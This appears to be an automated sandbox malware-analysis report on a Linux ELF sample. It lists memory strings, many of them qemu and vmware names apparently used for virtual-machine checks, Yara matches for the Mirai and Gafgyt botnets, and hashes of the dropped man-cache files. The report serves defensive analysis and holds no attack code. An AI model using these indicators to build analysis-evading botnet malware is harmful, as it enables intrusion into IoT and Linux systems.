Source: 5419.34.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 5419.34.dr	Binary or memory string: vmware
Source: 5419.34.dr	Binary or memory string: qemu-cris
Source: 5419.34.dr	Binary or memory string: libvmtools
Source: 5419.34.dr	Binary or memory string: qemu-m68k
Source: 5419.34.dr	Binary or memory string: qemu-xtensa
Source: 5419.34.dr	Binary or memory string: 9qemu
Source: 5419.34.dr	Binary or memory string: qemu-sh4
Source: 5419.34.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 5419.34.dr	Binary or memory string: .qemu{
Source: 5419.34.dr	Binary or memory string: qemu-ppc64abi32
Source: 5419.34.dr	Binary or memory string: qemu-ppc64
Source: 5419.34.dr	Binary or memory string: qemu-i386
Source: 5419.34.dr	Binary or memory string: qemu-x86_64
Source: 5419.34.dr	Binary or memory string: H~6\nqemu*q
Source: 5419.34.dr	Binary or memory string: @qemu
Source: 5419.34.dr	Binary or memory string: Fqqemu
Source: 5419.34.dr	Binary or memory string: N4qemu
Source: 5419.34.dr	Binary or memory string: ~6\nqemu*q
Source: 5419.34.dr	Binary or memory string: qemu-mips64el
Source: 5419.34.dr	Binary or memory string: hqemu
Source: 5419.34.dr	Binary or memory string: &mqemu
Source: 5419.34.dr	Binary or memory string: $qemu
Source: 5419.34.dr	Binary or memory string: qemu-sparc
Source: 5419.34.dr	Binary or memory string: qemu-microblaze
Source: 5419.34.dr	Binary or memory string: qemu-user
Source: 5419.34.dr	Binary or memory string: qemu-aarch64
Source: 5419.34.dr	Binary or memory string: qemu-sh4eb
Source: 5419.34.dr	Binary or memory string: iqemu
Source: 5419.34.dr	Binary or memory string: qemu-mipsel
Source: 5419.34.dr	Binary or memory string: qemuP`
Source: 5419.34.dr	Binary or memory string: qemu-alpha
Source: 5419.34.dr	Binary or memory string: qemu-microblazeel
Source: 5419.34.dr	Binary or memory string: \qemu
Source: 5419.34.dr	Binary or memory string: qemu-xtensaeb
Source: 5419.34.dr	Binary or memory string: qemu-mipsn32el
Source: 5419.34.dr	Binary or memory string: SAqemu
Source: 5419.34.dr	Binary or memory string: Vqemu
Source: 5419.34.dr	Binary or memory string: qemu-mipsn32
Source: 5419.34.dr	Binary or memory string: qemuAU
Source: 5419.34.dr	Binary or memory string: qemu-riscv32
Source: 5419.34.dr	Binary or memory string: qemu-sparc32plus
Source: 5419.34.dr	Binary or memory string: 7,qemu
Source: 5419.34.dr	Binary or memory string: qemu-s390x
Source: 5419.34.dr	Binary or memory string: vmware-checkvm
Source: 5419.34.dr	Binary or memory string: qemu-nios2
Source: 5419.34.dr	Binary or memory string: qemu-armeb
Source: 5419.34.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 5419.34.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 5419.34.dr	Binary or memory string: I_qemu
Source: 5419.34.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 5419.34.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 5419.34.dr	Binary or memory string: qemu-mips
Source: 5419.34.dr	Binary or memory string: qemuj\
Source: 5419.34.dr	Binary or memory string: {qemuQ&
Source: 5419.34.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 5419.34.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Gafgyt

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Mirai

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Gafgyt

Source: Yara match	File source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

ID:	553464
Product:	CloudBasic
Start time:	23:55:55
Start date:	14.01.2022
Sample:	1xtO9V8ku8
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	aac6e25e1d471c889b0ae7b3939e84ed
SHA1:	ed2e1aaf171b7bb4d24c543781f7f831fabe1c61
SHA256:	408362634ac9615317b22bea3be9caba9a1ba70db48ff41a9fdd27b60074612e
Filetype:	ELF Executable and Linkable format (Linux) (4029/14) 50.16%

Name	Type	MD5	SHA1	SHA256
/var/cache/man/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	0C99179B6C5CFE82203424AD7DAD0D8F	CAC50B64B1352723FF8F58BB1B103B93C396539B	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
/var/cache/man/cs/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	D0CA2EBA9E7A17D4680AA9DDC5F88946	270F443EFF85209052AE8FFA86660AFB0FAAD39B	9504DC65F8B4E057D0939FA3B2C640FC703D0290EE19381836BAA5EB3EFBADBD
/var/cache/man/cs/index.db.OidWsZ	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/da/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	4DF08004EE4C5384C02376841F2B50BC	C02E58212CA012913390B4C1CCD64DD3353009EE	F4D6A62A734E2844B99F3AD0EB480373AFBE56B29C0CFC9C70D9DFDF19D95C02
/var/cache/man/da/index.db.Tx9djV	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/de/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	614864F12E934605625E27CAC069F166	64C1BAF65B231107269B60DBAF339D4F85C3BD17	C7C0ADF461F7CD927BF820870B9D424900E592CC956755292ED1703C4371F2AB
/var/cache/man/de/index.db.QeAR9Y	GNU dbm 1.x or ndbm database, little endian, 64-bit	55880A8B73FD160B73198E09A21C83DB	5EB780702D2501747AF46F7525EF5C635EC5E64C	66BD4C98AF40E2E208AC102ACD0F555A6C118E7258D91B833BE1D53EBFFB7BBB
/var/cache/man/es/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	3DBF4FF017D406F407BFBC2011BCAE9E	FF64864ACA18DFA7869715CE8AA5ECC3DABA54B6	640C040F364061A5825E913682798C9BC8E1081088894D3FEB2C3EC39D02A379
/var/cache/man/es/index.db.7BpmSY	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/fi/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	09F6ED1A60B8A4203EA97CF5926C6AFF	C28F4E393D55AD057E3C7608741904B796F67076	56664D61D0BB8BF34CCA28C73CB314CB73EA1C4FAC64D2208B43F63C009FC855
/var/cache/man/fi/index.db.UDmH4W	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/fr.ISO8859-1/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	43ADE2E40B8B5A0DFA0A155FC9A02F7F	3D04BDFFD0E2A8433150C87D334014099336A5C5	81E48EE4653A5E6F25C33133F24F045EB1EB2CC6724ECE0C5336612AB711273E
/var/cache/man/fr.ISO8859-1/index.db.93HFlX	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/fr.UTF-8/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	43ADE2E40B8B5A0DFA0A155FC9A02F7F	3D04BDFFD0E2A8433150C87D334014099336A5C5	81E48EE4653A5E6F25C33133F24F045EB1EB2CC6724ECE0C5336612AB711273E
/var/cache/man/fr.UTF-8/index.db.1j2FZY	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/fr/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	7B073CA33EB43CE8078B8DEA5B811AD3	05C5DCCC0E481D68F77E01E6EAE939DE4FD871A7	23F019DCF4DFEB2477F0378F927FE91278D69F6928AFD9A012E888CC89D7FF7C
/var/cache/man/fr/index.db.kCK1BY	GNU dbm 1.x or ndbm database, little endian, 64-bit	425CB57CD9B42556C8089FE7A7A3E495	4F33F9A9897218FDED958FD8F8D7AF7CD8BC48F3	85E01EFF2AC0C83C827E118D5CE2CD1E1A19E059688B6E0D09CB3CC131F065D3
/var/cache/man/hu/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	18F02B57872A97DE1E82FF5348A5AF1B	52F332343B120B1C950AC02B3C923556C70DC62A	5C605DE68B3E05754698485F73413F4052AEA8C3AAE6012AC6416B3B6B056DF7
/var/cache/man/hu/index.db.oktA6X	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/id/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	3AFDA1B0F729816929FF7A6628D776D5	5982940A5782F11AEB5BF859C055DE3FEFBDF5DB	77809D5F38F6D96A2E8BA9BE0DFBB16C10B6B1FF7D2BA1DD5FB9437F73C47E7F
/var/cache/man/id/index.db.Yrsi7X	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/index.db.C1CCCV	GNU dbm 1.x or ndbm database, little endian, 64-bit	2E442DBA85DEDFDCB07090FDF9DE90D0	02658086E93854D13D82B1F0D80F4B78D26DCA51	62406BFE7657964E490DE65A0007F7C1D59B62B2B9AD35BA55BA219673378848
/var/cache/man/it/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	B228DE097081AF360D337CF8C8FF2C6F	7DD2C4640925B225F98014566F73C35F4E960940	1056CECADA78542B173EE469C9BEAF61F81298EBBD21B54EA6EE449028E18B3F
/var/cache/man/it/index.db.Oz0gYV	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/ja/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	D3CD7D67F8155491493BB7235FB9AA57	5A7AE62A7AFE50EFCCED06CBD56AE2A0A284EFF3	6958349ECA637F99AABC419B5E402CFB50BC5B8867F31BCB67F064F47A209929
/var/cache/man/ja/index.db.XKudCZ	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/ko/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	FBA25855E1C99D8F87E8AC13E2E2ECB1	D99351AC40D6CC4C9BE54E0E018C44A9A88983D7	C0E18ED1CEFF427FD4D57D1B79CE1AF7320AC8453BAF8A0349C08267464C4D71
/var/cache/man/ko/index.db.CHkWlX	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/nl/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	27FED1CA8EB0101C459D9A617C833293	503B2A3E33FE79FF2CD58F831ED33DB358849BEA	C3033C4F7CF0D6108611EF5A62CA893F98EE6463DDCFF7100D3BAFDEB0036D9E
/var/cache/man/nl/index.db.GufyBY	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/pl/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	37CEBCD3F5BF6322785FFF568EE33131	201298C827C77C60CD314BF721DC4C27EF95BD64	012C5597C5DD8654EB14432AFCEFD9B131F2CE75AD21488991A5A688929AAEA6
/var/cache/man/pl/index.db.a5HjTW	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/pt/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	782FF89B6FA5932F7019AF9CF3F82E43	2ECE8DC134E3A292E2545AA2DCD24114A5FC5749	01E77D9235C524F2A61EA03953607C13831C391A5B9AB0D9094F9C38F0EEB02E
/var/cache/man/pt/index.db.L3jLjW	GNU dbm 1.x or ndbm database, little endian, 64-bit	F0B902DEA5EF122A0B1F0F496DDC781B	90176D320A9C3601787D53CC346DC743367D53F1	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
/var/cache/man/pt_BR/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	A11F5E85A2A07AF84255570AE29318FB	D06BF25E5FD4A17BCF7C5BD77ACD747F0FE181E8	8FFA8BC408B254217275A622D054853CB72B08409A11AA49C4C664C0DABFB62F
/var/cache/man/pt_BR/index.db.oojnzZ	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/ru/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	DF5C1114538C5D8EA1EE929FFAC24E3C	B6331AF77566B63EA8204BE85F5DC99FAF51479E	F238C75DAD82E10AB011A9BF79775B2A5F5889644A5A06835933340845A08555
/var/cache/man/ru/index.db.AC78mY	GNU dbm 1.x or ndbm database, little endian, 64-bit	5B66CE03BFE548DEE335E0518E4E0554	65397845DC679AA972454B0FF237A513C0F490CB	C38BB21B1D92166794DC09807C9A55B67B0A760C684FEEDD0C931F8415DD6D29
/var/cache/man/sl/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	67697BEA7C23E4805A82FE9755BB3CAE	14ACAFF0BECBDB116E4C0BC329E59DEF68CF46D1	553DA7FF76999B7CCC4450498B11E6BD98B3B1E5FF81D82A53568F84B0D270D5
/var/cache/man/sl/index.db.pkc8DW	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/sr/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	0DD75ECC81E4E564EA56A57FF32A24D3	859C0FE5F86A2C5A32BAD7920787BE845F34C4FB	DB778B175D19DEFA4180D0B12D675AD0B8B22CC4BB77702D9EC8510F894EB3B1
/var/cache/man/sr/index.db.S5MaDX	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/sv/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	D97454D6B1F39F39966A809BCA3D9647	276931CED8F34B7651C1BDFC8522FF0560E2C377	DCB8CE7F4F21595D851100F315C56B717541DB898AEB9ED9C0CCC9FF217A5801
/var/cache/man/sv/index.db.NVNacY	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/tr/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	5F905B930E7310E72BC3DF5C50F8E579	50B1AD3115F095C743CB26F87ECCE406FAC3523B	1DB72BA77CA01F25CA9768999825D8F97F5ED4D00E17C9130D6F7CDE34130270
/var/cache/man/tr/index.db.OMgcpY	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/zh_CN/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	39398A15564A55EB7BFE895D7668A5A3	28DA677435B87176E08AFABBF8B51F7B93E22948	A4C0216476E357ED3A23E71333DBE7DE91E04370EF049032EE8E47BB1EDBD83B
/var/cache/man/zh_CN/index.db.zJimoZ	GNU dbm 1.x or ndbm database, little endian, 64-bit	EE429C7E8B222AFF73C611A8C358B661	DA353E80DCF1195F259CCBC32D39F5923710453F	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
/var/cache/man/zh_TW/5419	GNU dbm 1.x or ndbm database, little endian, 64-bit	1FC5F2B98E5BC25B10373353D91B86B1	D848DA35B0731328195D59C1E996B95C4952F1F9	509FAD18B4454CD70D974755F6156D4A5FA9B960AB9FF468D1FC350F0B64F379
